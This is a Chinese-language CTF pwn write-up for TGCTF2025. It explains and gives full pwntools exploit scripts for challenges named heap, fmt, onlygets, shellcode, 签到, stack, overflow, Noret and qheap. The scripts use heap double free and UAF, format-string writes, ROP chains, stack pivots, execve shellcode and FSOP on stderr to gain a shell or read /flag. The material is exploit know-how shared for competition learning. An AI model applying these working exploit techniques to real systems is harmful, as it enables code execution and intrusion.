TGCTF2025-pwn-wp
heap
菜单堆,只有 add 和 delete 函数,free 后未清空指针, 存在 uaf,size 最大为 0x80
主函数开始给了一个往 bss 段写的机会,change 也可以往 同一个 bss 段写,并输出出来
那么思路很通透了,在 bss 段伪造堆块,劫持 bss 段后,伪造 unsortbins 释放,利用 change 函数收到 libc 地址,接着劫持 malloc_hook 为 ogg,即可拿下 shell

2.23 版本 没什么检查 通过 double free 劫持到 bss 段上
def choose(x):
sla(b"> ", tb(x))
def add(size,content="/bin/sh"):
choose(1)
choose(size)
sa(b"> ", content)
def free(index):
choose(2)
choose(index)
def change(content):
choose(3)
sa(b"> ", content)
start()
bss_read=0x6020C0
chunk_list=0x6021a0
sa(b"> ",p64(0)+p64(0x61))
add(0x58)#0
add(0x58)#1
add(0x18)#2
free(0)
free(1)
free(0)
add(0x58,p64(bss_read))#3
add(0x58)#4
add(0x58)#5
add(0x58)#6
payload=p64(0)+p64(0x61)+b"\0"*0x50+p64(0)+p64(0xa1)
payload=payload.ljust(0xc0,b"\0")+p64(0)+p64(0x61)
change(payload)
free(6)
payload=flat([0,0x61,bss_read+0xc0])
change(payload)
add(0x58)
payload=flat([0,0,bss_read+0x10,0,0,0])
add(0x58,payload)
payload=flat([0x0,0x91,b"\0"*0x88,0x21,b"\0"*0x10,0,0x21])
change(payload)
free(0)
change(b"a"*0x10)
r(0x2b)
lb=u64(r(6).ljust(8,b"\0"))-0x3c4b78
one_gadgets = [
0x4527a, # [0]: execve("/bin/sh", rsp+0x30, environ)
0xf03a4, # [1]: execve("/bin/sh", rsp+0x50, environ)
0xf1247, # [2]: execve("/bin/sh", rsp+0x70, environ)
] # python List of one_gadget
one=one_gadgets[2]+lb
change(p64(0)+p64(0x91))
add(0x68)
free(0)
payload=flat([0,0x71,lb+0x3c4aed])
change(payload)
add(0x68)
payload=b"\0"*0x13+p64(one)
add(0x68,payload)
choose(1)
choose(0x20)
ia()
fmt
格式化字符串漏洞,magic 限制了返回时再次利用 fmt 的机会,这里为了不改变 magic 的值,返回构造二次读入,应泄露 libc 的同时,修改 printf 的返回地址为 _start,防止出现堆栈平衡问题,拿到 libc 地址后,二次读入直接修改返回地址为 ogg 即可直接拿到 shell
(直接爆破 3 字节也未尝不可,爆就完了)

start()
one_gadgets = [
0xe3afe, # [0]: execve("/bin/sh", r15, r12)
0xe3b01, # [1]: execve("/bin/sh", r15, rdx)
0xe3b04, # [2]: execve("/bin/sh", rsi, rdx)
] # python List of one_gadget
ru(b"your gift ")
stack=rx()
lg(stack)
aim=stack-8
ret=0x4010D0
r()
payload=b"%10$n%19$p"
payload+=b"%"+str(ret-14).encode()+b"c%11$n"
payload=payload.ljust(0x20,b"\0")
payload+=p64(aim+4)
payload+=p64(aim)
debug(0x401271,"c")
s(payload)
lb=int(r(14),16)-0x24083
one=lb+one_gadgets[1]
ru(b"your gift ")
stack1=rx()
aim=stack1+0x68
val1 = (one & 0xff)
val2 = ((one >> 8) & 0xffff)
# payload=b"%"+str(one&0xf).encode+b"c%10$hhn"
payload=f"%{val1}c%10$hhn".encode()
payload += f"%{val2 - val1}c%11$hn".encode()
# payload+=b"%"+str((one>>4)&0xff-one&0xf).encode+b"c%11$hn"
payload=payload.ljust(0x20,b"\0")
payload+=p64(aim)
payload+=p64(aim+1)
s(payload)
ia()
onlygets
是道原题,通过多次 gets 在 bss 段构造 rop 链,将 gets 地址 存放在 rbx 中,再存到栈上,控制 rsi 为偏移,利用 add_ebx_esi 拿到 ogg 的后四位,栈不需要对齐,接着将 offset+4,取到存在栈上的高四位,即可在寄存器中存放真实的 ogg 地址,接着控制执行流到 ogg 即可
#!/usr/bin/env python3
#iamorange
from pwn import *
import struct
from ctypes import cdll
#--------Common command abbreviation---------------
#--------------------------------------------------
filename='./vuln'
libcFile = '/lib/x86_64-linux-gnu/libc.so.6'
context(arch='amd64',os='linux',log_level='debug')
#------------------------------------------------
elf=ELF(filename)
libc = ELF(libcFile)
io = process(['./vuln'],env={"LD_PRELOAD":"./TGCTF.so"})
g = lambda x: next(elf.search(asm(x)))
one_gadgets = [
0xebc81, # [0]: execve("/bin/sh", r10, [rbp-0x70])
0xebc85, # [1]: execve("/bin/sh", r10, rdx)
0xebc88, # [2]: execve("/bin/sh", rsi, rdx)
0xebce2, # [3]: execve("/bin/sh", rbp-0x50, r12)
0xebd38, # [4]: execve("/bin/sh", rbp-0x50, [rbp-0x70])
0xebd3f, # [5]: execve("/bin/sh", rbp-0x50, [rbp-0x70])
0xebd43, # [6]: execve("/bin/sh", rbp-0x50, [rbp-0x70])
] # python List of one_gadget
system_offset = libc.symbols['system']
gets_offset = libc.symbols['gets']
offset = one_gadgets[6] - gets_offset
if offset < 0:
offset &= 0xffffffff
gets_plt = elf.plt['gets']
gets_got = elf.got['gets']
libc_csu_init = elf.symbols['__libc_csu_init']
pop_rsp_r13_r14_r15_ret = g('pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret')
pop_rbp_ret = g('pop rbp ; ret')
pop_rdi_ret = g('pop rdi ; ret')
pop_r15_ret = g('pop r15 ; ret')
pop_rsi_r15_ret = g('pop rsi ; pop r15 ; ret')
pop_rbp_r14_r15_ret = g('pop rbp ; pop r14 ; pop r15 ; ret')
pop_rbx_rbp_r12_r13_r14_r15_ret = g('pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret')
add_ebx_esi_ret = g('add ebx, esi ; ret')
leave_ret = g('leave ; ret')
call_at_r12 = g('call QWORD PTR [r12+rbx*8]')
# gdb.attach(p)
bss = 0x602000-8
buf1 = bss - 0x100
buf2 = bss - 0x200
buf3 = bss - 0x300
buf4 = bss - 0x400
buf5 = bss - 0x500
buf6 = bss - 0x600
buf7 = bss - 0x700
buf8 = bss - 0x800
rop1 = [
pop_rdi_ret, buf1, gets_plt, # rop2
pop_rdi_ret, buf2, gets_plt, # rop4
pop_rdi_ret, buf3, gets_plt, # rop5
pop_rdi_ret, buf4, gets_plt, # rop7
pop_rdi_ret, buf5, gets_plt, # rop9
pop_rdi_ret, buf6, gets_plt, # rop10
pop_rdi_ret, buf7, gets_plt, # rop13
pop_rbp_ret, buf1 - 8, leave_ret
]
rop2 = [ # buf1
pop_rdi_ret, gets_got + 24, gets_plt, # rop3
pop_rbp_ret, buf2 - 8,
pop_rsp_r13_r14_r15_ret, gets_got
]
rop3 = [ # gets_got + 24
leave_ret
]
rop4 = [ # buf2
libc_csu_init,
pop_rbp_ret, buf3 - 8, leave_ret
]
rop5 = [ # buf3
pop_rdi_ret, buf2 - 24, gets_plt, # rop6_1
pop_rdi_ret, buf2 + 32, gets_plt, # rop6_2
pop_rbp_ret, buf2 - 24 - 8, leave_ret
]
rop6_1 = [ # buf2 - 24
pop_rbx_rbp_r12_r13_r14_r15_ret
]
rop6_2 = [ # buf2 + 32
pop_rsi_r15_ret, offset, 8,
add_ebx_esi_ret,
# 0xdeadbeef,
libc_csu_init,
pop_rbp_ret, buf4 - 8, leave_ret
]
rop7 = [ # buf4
pop_rdi_ret, gets_got + 28, gets_plt, # rop8
pop_rbp_ret, buf5 - 8,
pop_rsp_r13_r14_r15_ret, gets_got + 4
]
rop8 = [ # gets_got + 28
leave_ret
]
rop9 = [ # buf5
libc_csu_init,
pop_rbp_ret, buf6 - 8, leave_ret
]
rop10 = [ # buf6
pop_rdi_ret, buf5 - 24, gets_plt, # rop11_1
pop_rdi_ret, buf5 + 32, gets_plt, # rop11_2
pop_rbp_ret, buf5 - 24 - 8, leave_ret
]
rop11_1 = [ # buf5 - 24
pop_rbx_rbp_r12_r13_r14_r15_ret
]
rop11_2 = [ # buf5 + 32
pop_rdi_ret, buf2 + 68, gets_plt, # rop12
pop_rbp_ret, buf2 + 68 - 8, leave_ret
]
rop12 = [ # buf2 + 164
libc_csu_init,
pop_rbp_ret, buf7 - 8, leave_ret
]
rop13 = [
pop_rdi_ret, buf8, gets_plt, # shell command
pop_rdi_ret, buf8,
pop_rbx_rbp_r12_r13_r14_r15_ret, 0, bss, buf2 + 24, 0, 0, 0,
call_at_r12
]
payload = (
b'A' * 24 +
b''.join(map(p64, rop1)) + b'\n' +
b''.join(map(p64, rop2)) + b'\n' +
b''.join(map(p64, rop4)) + b'\n' +
b''.join(map(p64, rop5)) + b'\n' +
b''.join(map(p64, rop7)) + b'\n' +
b''.join(map(p64, rop9)) + b'\n' +
b''.join(map(p64, rop10)) + b'\n' +
b''.join(map(p64, rop13)) + b'\n' +
b''.join(map(p64, rop3))[:-1] + b'\n' +
b''.join(map(p64, rop6_1))[:-1] + b'\n' +
b''.join(map(p64, rop6_2)) + b'\n' +
b''.join(map(p64, rop8)) + b'\n' +
b''.join(map(p64, rop11_1))[:-1] + b'\n' +
b''.join(map(p64, rop11_2)) + b'\n' +
b''.join(map(p64, rop12)) + b'\n' +
b'sh\n'
)
io.send(payload)
io.interactive()
自己搓链子,这里参考 0xa6 师傅的 exp
思路
1.通过栈迁移将 rbp,rsp 迁移到一段空的 bss 段上
2.通过返回 start 往这段内容里 push 很多可用地址
3.通过劫持_rtld_global 后调用调用__libc_start_main 控制
__libc_start_main 退出函数调用利用的是_rtld_global 该结构体内的地址作计算

from pwn import *
libc = ELF("./libc.so.6")
context(os='linux', arch='amd64')
io = remote("node2.tgctf.woooo.tech",30462)
#io = process("./vuln")
#context.log_level = 'debug'
def debug():
gdb.attach(io)
bss = 0x601550
payload = b'a' * 0x10 + p64(bss) + p64(0x4005E5)
rdi = 0x400663
ret = 0x400664
io.sendline(payload)
payload = b'a' * 0x10 + p64(bss) + p64(0x400480)
sleep(1)
io.sendline(payload)
sleep(1)
payload = b'a' * 0x10 + p64(0x6014c0) + p64(0x4005E5)
io.sendline(payload)
sleep(1)
payload = p64(0x4005F1) + p64(0) + p64(0x601460) + p64(0x4005FB)
io.sendline(payload)
sleep(1)
payload = b'b' * 0x10 + p64(0x6014a0) + p64(ret) * 6 + p64(rdi)[:7]
io.sendline(payload)
sleep(1)
payload = p64(0x601290)
io.sendline(payload)
sleep(1)
payload = b'a' * 0x10 + p64(0x6012a0) + p64(0x4005E5)
io.sendline(payload)
sleep(1)
#debug()
payload = (p64(-293 - libc.sym["gets"] + 0xebd3f) + p64(0) + p64(0) + p64(0x40065A) + p64(0) + p64(0x6010a0) + p64(0x6014f8) + p64(0) * 3 + p64(0x400649)).ljust(0xa0, b'\x00') + p64(0x601468)
io.sendline(payload)
#0x7ffff7ffd040
io.interactive()
shellcode
清空寄存器,0x12 字节的 shellcode,没什么好说的 rdi 存放执行地址
payload=asm("""
lea rdi,[rdi+0x8]
mov al,59
syscall
""")+b"/bin/sh\0\0"
签到
简单的ret2libc,利用栈溢出漏洞泄露出puts函数的真实地址,再由此计算出libc基地址,得到system函数的地址和binsh地址,再次利用栈溢出执行system("/bin/sh’)
offset=0x78
main_addr=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
rdi=0x0000000000401176
ret=0x000000000040101a
payload=b'a'*(offset)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
sla(" please leave your name.",payload)
puts_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=puts_addr-libc.sym['puts']
sys_addr=libc_base+libc.sym['system']
binsh_addr=next(libc.search(b'/bin/sh'))+libc_base
payload=b'a'*(offset)+p64(ret)+p64(rdi)+p64(binsh_addr)+p64(sys_addr)
sla("please leave your name.",payload)
ia()
stack

第一次read可修改数据段上的内容,



注意到这个函数,参数fd,buf,count,qword_4040a0都是可由第一次read控制的

修改参数qword_4040a0=0x3b,fd为binsh地址,buf,count都为0,
再经过第二次read的栈溢出漏洞利用,修改返回地址为此函数地址,就会执行execve('/bin/sh',0,0)
binsh=0x0000000000404108
addr=0x00000000004011FA
sla("name?\n",b'a'*0x40+p64(0x3b)+p64(binsh)+p64(0)+p64(0)*9)
payload=b'a'*0x48+p64(0x00000000004011be)
sla('say?\n',payload)
ia()
overflow
先用ropchain自动生成rop链,

read可向bss段上写内容,gets存在栈溢出
注意到call gets 后有这么一段指令

于是可以通过ebp-8处的内容来控制esp,再修改ecx的值,之后继续控制esp,利用retn控制返回地址
可以将自动生成的rop链写入bss段上,之后控制esp指向它,然后执行

bss=0x080EF320,将ebp-8处的内容修改为bss+8,
lea esp,[ebp-8]后,esp指向bss+8
pop ecx后,ecx=bss+8
lea esp,[ecx-4]后,esp的值为bss+4
read时在bss+4处写入自动生成的rop链,这样esp指向rop链,retn后即可执行rop链
p = pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x080b470a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee064) # @ .data + 4
p += pack('<I', 0x080b470a) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080507e0) # xor eax, eax ; ret
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x08049802) # pop ecx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080507e0) # xor eax, eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08049c6a) # int 0x80
bss=0x080EF320
payload=p32(bss)+p
sla("name?",payload)
#debug("b *0x80498c0")
payload = b'a'*0xc8+p32(bss+8)+p32(0)*2
sla("right?",payload)
ia()
Noret
溢出处0x100覆盖返回地址。
利用送的gadget构造`execve("/bin/sh",0,0)
将栈迁移到read输入处。
将pop rcx; jmp qword ptr [rdx]
和pop rdx; jmp qword ptr [rcx]
结合使用构造其他ROPgadget的返回地址。
使用add rax, rdx
构造/bin/sh
地址以及调用号0x3b,利用xchg rax,rdi
将地址传递给rdi。利用mov rsi, [rcx+0x10]
将rsi设为0,最后调用syscall。
def choose(x):
sla(b'> ', tb(x))
sla(b'> ', b'4\0\0\0'+b'/bin/sh\x00')
stack_1 = uu64(7)
buf = stack_1 - 0x100
buf_bss = 0x40219C
choose(2)
xchg_di_ax_jax1 = 0x401000
mov_cx_di_jcx = 0x401005
xor_ax_jdx = 0x040100A
sp_di_cx_dx_jdi1 = 0x40100f
cx_or_jdx = 0x401016
mov_si_jdx = 0x40101b
dx_jcx = 0x401021
add_ax_dx_jcx = 0x401024
cx_jdx = 0x401029
syscall =0x040113D
ret = 0x401165
jt_off = 0x110
jt_addr = buf + jt_off
payload = flat({
0:[ jt_addr+8-1, 0x402800, jt_addr,
jt_addr+0x10-1, jt_addr, buf_bss+4 - 0x1d,
jt_addr+0x18-1, 0, jt_addr+0x20,
jt_addr+0x28,jt_addr+0x20, #
jt_addr+0x38, (0x3b - (jt_addr+0x18-1))&0xffffffffffffffff,
add_ax_dx_jcx,
dx_jcx,
0,
syscall,
],
}, filler=b'\x00')
payload = payload.ljust(0x100, b'\x00') + flat(sp_di_cx_dx_jdi1, buf,
sp_di_cx_dx_jdi1+1,
mov_si_jdx,
add_ax_dx_jcx,
cx_jdx, dx_jcx, # 0x18 0x20
xchg_di_ax_jax1, # 0x28
xor_ax_jdx, # 0x30
ret,
syscall)
sa(b'feedback: ',payload)
ia()
qheap
zig 和 c 混用堆,通过动态调试得知各个功能的作用
这里 ida 中太长就不做截图展示了
1.add1
输入 idx,size,content, idx 不能大于 7,并且 size 不能大于 0x100,当堆块分配成功后,会将将刚分配的堆块填满0xaa,再将刚分配的堆块清空,最后才会往堆块中写东西
2.delete1
输入 idx,free 对应堆快后会清空 chunk_list 的 size 位,但不清空指针
3.show
输入 idx,输出堆快中的内容,输出大小从 chunk_list[idx][8] 中获取
4.edit
输入 idx,content,从chunklist上根据idx获取heapaddr以及size
5.add2(隐藏)
zig 的 add 函数,利用 zig 中的函数创建的堆块,存在 ld 之上
堆块信息仍然会存在 chunk_list 上, 同 add1输入 idx,size,content, idx 不能大于 7,并且 size 不能大于 0x100,当堆块分配成功后,会将将刚分配的堆块填满0xaa,再将刚分配的堆块清空,最后才会往堆块中写东西
6.delete2(隐藏)
zig 的 free 函数,用于释放 zig 中创建的堆块,这里释放后,会将堆块填满 0xaa
漏洞点
zig分配的堆块信息(例如大小啥的)不会在堆块上记录,所以分配出来的堆块地址连续,并且返回的堆块地址是起始地址,这里我们可以从他返回的到chunk_list的堆块地址我们能看到,是堆块的起始地址
而Libc中返回的堆块地址是执行usr_data的
我们可以在第一个zig堆块末尾伪造pre size,size等信息
用Libc的free去释放他第二个由zig分配的堆块
就会把这块地址当作libc的堆块释放了
我们就可以直接malloc出来,任意改这一片了
拥有对这片区域任意改的能力后,直接劫持 stderr,打 apple2 即可
需要注意到:ld 和 libc 的偏移并不固定,这里我们需要爆破
def cmd(idx):
sla(b'> ', str(idx).encode())
def add1(idx, size, data):
cmd(1)
sla(b'Index: ', str(idx).encode())
sla(b'Size: ', str(size).encode())
sa(b'Data: ', data)
def delete1(idx):
cmd(2)
sla(b'Index: ', str(idx).encode())
def show(idx):
cmd(3)
sla(b'Index: ', str(idx).encode())
def edit(idx, data):
cmd(4)
sla(b'Index: ', str(idx).encode())
sa(b'Data: ', data)
def add2(idx, sz, data):
cmd(356781)
ss()
sl(b'1')
ss()
sl(str(idx).encode())
ss()
sl(str(sz).encode())
ss()
sl(data)
ss()
sl(b'4')
def delete2(idx):
cmd(356781)
ss()
sl(b'2')
ss()
sl(str(idx).encode())
ss()
sl(b'4')
#----------------------------------------------
#main script begin:
def main():
start()
add2(0,0x20,b"c"*0x18+p64(0x111))
add2(1,0x20,b"b"*0x20)
delete1(1)
add1(1,0x100,b"a"*0x20) #victim
add2(2,0x20,b"a"*0x18+p64(0x111))
add2(3,0x20,b"a"*0x20)
delete1(3)
show(1)
r(0x40)
hb=u64(r(6).ljust(8,b'\x00'))<<12
lg(hb)
lb=hb-0x3fa000
system=lb+libc.sym['system']
_IO_wfile_jumps=lb+libc.sym['_IO_wfile_jumps']
ret=lb+0x0000000000029139
stderr=lb+0x21b6a0
setcontext=lb+0x53a15+8
rax=lb+0x0000000000045eb0
rdi=lb+0x000000000002a3e5
rdx_rbx=lb+0x00000000000904a9
rsi=lb+0x000000000002be51
syscall=0x0000000000091316+lb
xor_rax=0x00000000000404f8+lb
lg(lb)
lg(stderr)
aim=((hb+0x80)>>12)^stderr
add1(4,0x100,b"a")
add1(5,0x100,b"a")
delete1(5)
delete1(4)
payload=flat([b"\0"*0x38,0x111,aim,0])
edit(1,payload)
fake_io = flat({
0x0:0,#_flags
0x28:1,#_IO_write_ptr
0x68:setcontext,
0x88:stderr,#_lock
0xa0:stderr+8,#_wide_data
0xa8:hb+0x40,#rsp
0xb0:rax,#rcx
0xd8:_IO_wfile_jumps,#vtable
0xe0:stderr+0xe0+0x50,#set rsp
0xe8:stderr,#_wide_data->vtable
},filler=b'\x00')
payload=fake_io
add1(4,0x100,b"a")
add1(4,0x100,payload)
rop=flat([2,rdi,hb+0xd0,syscall,rdi,3,xor_rax,rsi,hb,rdx_rbx,0x100,0,syscall,rax,1,rdi,1,syscall])+b"/flag\0\0\0"
edit(0,b"\0"*0x20)
edit(1,rop)
cmd(5)
while True:
try:
main()
ru("TGCTF")
ia()
break
except:
io.close()
